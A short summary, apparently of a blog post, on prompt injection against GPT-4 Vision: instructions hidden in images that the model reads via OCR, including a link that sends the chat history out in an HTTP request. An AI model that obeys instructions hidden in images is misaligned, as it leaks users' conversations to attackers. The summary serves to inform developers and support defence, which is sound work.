Prompt injection is a vulnerability that allows attackers to inject malicious data into a text prompt, compromising the system’s security. In the past, we demonstrated how prompt injection could be used to jailbreak OpenAI’s Code Interpreter. Now, we explore Vision Prompt Injection, which allows attackers to inject malicious instructions through an image. This hidden text can be extracted using Optical Character Recognition (OCR), making it vulnerable to attacks. One example is a clickable link that includes the chat history and automatically sends an HTTP request to extract data. Defending against jailbreaks is challenging, but techniques like prompt engineering can help mitigate these vulnerabilities. It is crucial for developers to consider the risks of prompt injection when designing Language Models. Both OpenAI and Microsoft are actively researching ways to protect against these attacks.
https://blog.roboflow.com/gpt-4-vision-prompt-injection/